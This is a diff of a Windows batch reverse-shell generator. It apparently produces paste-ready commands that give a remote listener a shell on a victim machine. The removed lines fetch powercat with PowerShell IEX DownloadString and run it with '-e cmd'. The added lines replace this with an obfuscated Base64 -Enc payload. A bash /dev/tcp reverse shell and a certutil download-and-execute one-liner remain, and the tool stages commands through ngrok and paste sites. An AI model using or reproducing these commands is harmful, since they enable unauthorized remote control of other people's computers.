@@ -191,14 +191,17 @@ if "%~1" equ "" (
191191
192192 ) else (
193193 if not " %2 " == " -ngrok" (
194+ echo ok
194195 if not " %2 " == " -pgrok" (
195196 if " !rs_os_flag! " == " W10" (
197+ call :rs_banner_w10_start
196198 echo + Host:Port ^ < == ^ > %~1 :%~2
197199 call :rs_info_w10windows_start
198200 call :rs_windows_command_raw_start %~1 %~2
199201 call :rs_info_w10linux_start
200202 call :rs_linux_command_raw_start %~1 %~2
201203 ) else (
204+ call :rs_banner_w7_start
202205 echo + Host:Port ^ < == ^ > %~1 :%~2
203206 call :rs_info_w7windows_start
204207 call :rs_windows_command_raw_start %~1 %~2
@@ -277,6 +280,7 @@ for /f %%i in ('findstr /b /c:"-" /v "%temp%\rs_temp_output.rsg"') do (
277280:rs_clean_tempfile_start
278281if exist " %temp% \rs_temp_input.rsg" del /q %temp% \rs_temp_input.rsg
279282if exist " %temp% \rs_temp_output.rsg" del /q %temp% \rs_temp_output.rsg
283+ if exist " %temp% \powershell_listener.tmp" del /q %temp% \powershell_listener.tmp
280284goto :eof
281285:rs_clean_tempfile_end
282286
@@ -291,7 +295,6 @@ if exist "%cd%\include\pcat.ps1" (
291295 powershell -c write-host " ' - Unable to start listening,Missing file %cd% \include\pcat.ps1.'" -f red -n 2 > nul
292296 goto rs_help_start
293297)
294-
295298goto :eof
296299:rs_local_listen_end
297300
@@ -305,14 +308,14 @@ if exist "%cd%\include\ngrok.exe" (
305308 set rs_n = 0
306309 FOR /L %%i in (1,1,30) do (
307310 set /a rs_n = ! rs_n! + 1
308- %cd% \include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:4040 /api/tunnels| find /i " ngrok.io" > nul && set rs_ngrok=0
311+ %cd% \include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:44480 /api/tunnels| find /i " ngrok.io" > nul && set rs_ngrok=0
309312 if !rs_ngrok! == 0 goto :rs_ngrok_host
310313 )
311314
312315 :rs_ngrok_host
313316 if !rs_ngrok! == 0 (
314- FOR /F " tokens=9 delims==://" %%i in ('%cd% \include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:4040 /api/tunnels') do (set rs_ngrok_host=%%i )
315- FOR /F tokens^ =11^ delims^ =^ :^ ,^ " %%i in ('%cd% \include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:4040 /api/tunnels') do (set rs_ngrok_port=%%i )
317+ FOR /F " tokens=9 delims==://" %%i in ('%cd% \include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:44480 /api/tunnels') do (set rs_ngrok_host=%%i )
318+ FOR /F tokens^ =11^ delims^ =^ :^ ,^ " %%i in ('%cd% \include\curl.exe -s --retry 3 --retry-delay 5 --retry-connrefused http://localhost:44480 /api/tunnels') do (set rs_ngrok_port=%%i )
316319
317320 set rs_listen_host =
318321 set rs_listen_host = !rs_ngrok_host!
@@ -372,15 +375,33 @@ set rs_listen_host=
372375set rs_listen_port =
373376set rs_listen_host = %1
374377set rs_listen_port = %2
378+ call :rs_powershell_listener_payload_start !rs_listen_host! !rs_listen_port!
375379if " !rs_os_flag! " == " W10" (
376- echo [92m powershell -Ep Bypass -NoLogo -NonI -NoP -c IEX ^ (New-Object System.Net.Webclient ^ ).DownloadString ^ ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1' ^ );powercat -c !rs_listen_host! -p !rs_listen_port! -e cmd [0m
380+ echo [92m powershell -EP Bypass -NoLogo -NonI -NoP -Enc !powershell_listener_payload! [0m
377381 echo,
378382) else (
379- echo powershell -Ep Bypass -NoLogo -NonI -NoP -c IEX ^ (New-Object System.Net.Webclient ^ ).DownloadString ^ ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1' ^ );powercat -c !rs_listen_host! -p !rs_listen_port! -e cmd
383+ echo powershell -EP Bypass -NoLogo -NonI -NoP -Enc ' !powershell_listener_payload! '
380384)
381385goto :eof
382386:rs_windows_command_raw_end
383387
388+ :: rs_powershell_listener_payload_start
389+ :rs_powershell_listener_payload_start
390+ set powershell_listener_payload =
391+ set rs_powershell_listener_payload_pre =
392+ set rs_powershell_listener_payload_suf =
393+ set /p rs_powershell_listener_payload_pre = < %cd% \payload\powershell_listener_1.payload
394+ set /p rs_powershell_listener_payload_suf = < %cd% \payload\powershell_listener_2.payload
395+ set powershell_listener_payload = !rs_powershell_listener_payload_pre!!rs_listen_host! '',!rs_listen_port!!rs_powershell_listener_payload_suf!
396+ powershell -c " [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('!powershell_listener_payload! '))|out-file -Encoding ascii %temp% \powershell_listener.tmp"
397+ :: echo !powershell_listener_payload!
398+ :: type %temp%\powershell_listener.tmp
399+ :: set /p powershell_listener_payload=<%temp%\powershell_listener.tmp
400+ for /f " delims= tokens=1,2" %%i in (%temp% \powershell_listener.tmp) do set powershell_listener_payload = %%i
401+ :: echo !powershell_listener_payload!
402+ goto :eof
403+ :: rs_powershell_listener_payload_end
404+
384405:rs_linux_command_raw_start
385406set rs_listen_host =
386407set rs_listen_port =
@@ -434,25 +455,34 @@ if exist "%cd%\include\mongoose.exe" (
434455) else (
435456 powershell -c write-host " ' - Missing file `" %cd% \include\mongoose.exe`" ,The web service failed to start`,the LAN mode needs to start the web service locally`,so the command will not be executed effectively'" -f red -n 2 > nul
436457)
458+
459+ set rs_ps_command_pre_lan =
460+ set ps_command_suf_raw_lan =
461+ set linux_command_raw_lan =
462+ set rs_ps_command_suf_b64_lan =
463+ set rs_command_b64_lan =
464+
465+ call :rs_powershell_listener_payload_start
466+ set rs_ps_command_b64 = !powershell_listener_payload!
467+ :: echo !rs_ps_command_b64!
468+
437469set " rs_ps_command_pre_lan = &powershell -EP Bypass -NoLogo -NonI -NoP -Enc "
438- set " ps_command_suf_raw_lan = IEX (New-Object System.Net.Webclient).DownloadString(''http://%rs_listen_host% :%rs_webport% /pcat.ps1'');pcat -c !rs_listen_host! -p !rs_listen_port! -e cmd"
439470set " linux_command_raw_lan = /bin/bash -i>&/dev/tcp/!rs_listen_host! /!rs_listen_port! 0 >&1"
440471call :rs_base64_encode_start " !linux_command_raw_lan! "
441472set rs_linux_command_b64_lan = %rsgen_b64_res%
442- powershell -c " [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('%ps_command_suf_raw_lan% '))|out-file -Encoding ascii %temp% \rs_temp_input.rsg"
443- set /p rs_ps_command_suf_b64_lan = < %temp% \rs_temp_input.rsg
444- set " rs_command_b64_lan = !rs_linux_command_b64_lan!!rs_ps_command_pre_lan!!rs_ps_command_suf_b64_lan! "
473+ set " rs_command_b64_lan = !rs_linux_command_b64_lan!!rs_ps_command_pre_lan!!rs_ps_command_b64! "
445474echo !rs_command_b64_lan! > %cd% \include\www\i
446475call :rs_http_post_start " !rs_listen_host! " " %temp% \rs_temp_output.rsg"
447476set /p rs_ip2dec = < %temp% \rs_temp_output.rsg
477+
448478if " !rs_os_flag! " == " W10" (
449479 if " !rs_webport! " equ " 80" (
450480 set rs_webport_display =
451481 ) else (
452482 set " rs_webport_display = :%rs_webport% "
453483 )
454484 call :rs_info_w10windows_start
455- echo [92m powershell -Ep Bypass -NoLogo -NonI -NoP -c IEX ^ (New-Object System.Net.Webclient ^ ).DownloadString ^ ('http:// !rs_listen_host!!rs_webport_display! /pcat.ps1' ^ );pcat -c !rs_listen_host! -p !rs_listen_port! -e cmd [0m
485+ echo [92m powershell -EP Bypass -NoLogo -NonI -NoP -Enc !powershell_listener_payload! [0m
456486 echo,
457487 echo [92m certutil -urlcache -split -f http://!rs_listen_host!!rs_webport_display! /i cd.bat^ |cd.bat[0m
458488 echo,
@@ -483,7 +513,7 @@ if "!rs_os_flag!"=="W10" (
483513 set " rs_webport_display = :%rs_webport% "
484514 )
485515 call :rs_info_w7windows_start
486- echo powershell -Ep Bypass -NoLogo -NonI -NoP -c IEX ^ (New-Object System.Net.Webclient ^ ).DownloadString ^ ('http:// !rs_listen_host!!rs_webport_display! /pcat.ps1' ^ );pcat -c !rs_listen_host! -p !rs_listen_port! -e cmd
516+ echo powershell -EP Bypass -NoLogo -NonI -NoP -Enc !powershell_listener_payload!
487517 echo,
488518 echo certutil -urlcache -split -f http://!rs_listen_host!!rs_webport_display! /i cd.bat^ |cd.bat
489519 echo,
@@ -587,19 +617,21 @@ goto :eof
587617:rs_command_generate_pub_start
588618set rs_listen_host =
589619set rs_listen_port =
620+ set rs_ps_command_suf_b64 =
621+ set rs_linux_command_b64 =
622+ set rs_command_b64 =
590623set rs_listen_host = %1
591624set rs_listen_port = %2
592625set " rs_ps_command_pre = &powershell -EP Bypass -NoLogo -NonI -NoP -Enc "
593- set " ps_command_suf_raw = IEX (New-Object System.Net.Webclient).DownloadString(''https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'');powercat -c !rs_listen_host! -p !rs_listen_port! -e cmd "
626+ call : rs_powershell_listener_payload_start
594627set " linux_command_raw = /bin/bash -i>&/dev/tcp/!rs_listen_host! /!rs_listen_port! 0 >&1"
595628call :rs_base64_encode_start " !linux_command_raw! "
596629set rs_linux_command_b64 = %rsgen_b64_res%
597630:: echo %rs_linux_command_b64%
598- powershell -c " [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('%ps_command_suf_raw% '))|out-file -Encoding ascii %temp% \rs_temp_input.rsg"
599- set /p rs_ps_command_suf_b64 = < %temp% \rs_temp_input.rsg
631+ set rs_ps_command_suf_b64 = !powershell_listener_payload!
600632:: echo %rs_ps_command_suf_b64%
601633set " rs_command_b64 = !rs_linux_command_b64!!rs_ps_command_pre!!rs_ps_command_suf_b64! "
602- :: echo !rs_command_b64!>%temp%\rs_command_b64.rsg
634+ :: echo !rs_command_b64!
603635call :rs_command_upload_start
604636if " !rs_pastebin_status! " == " -1" (
605637 if " !rs_dpaste_status! " == " -1" (
@@ -653,7 +685,9 @@ var xhr = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
653685var AdoDBObj = new ActiveXObject(" ADODB.Stream" );
654686if (args.Length == 6 ) {
655687 url = args.Item(1)
656- data = args.Item(2).replace(" +" , " %2 B" ).replace(" &" , " %2 6" );
688+ data = args.Item(2).replace(" +" ," %2 B" ).replace(" &" ," %2 6" ).replace(" +" ," %2 B" ).replace(" +" ," %2 B" ).replace(" +" ," %2 B" );
689+ //WScript.Echo(data)
690+ //WScript.Quit(666);
657691 filename = args.Item(3)
658692 ip = args.Item(4)
659693 ipfilename = args.Item(5)
0 commit comments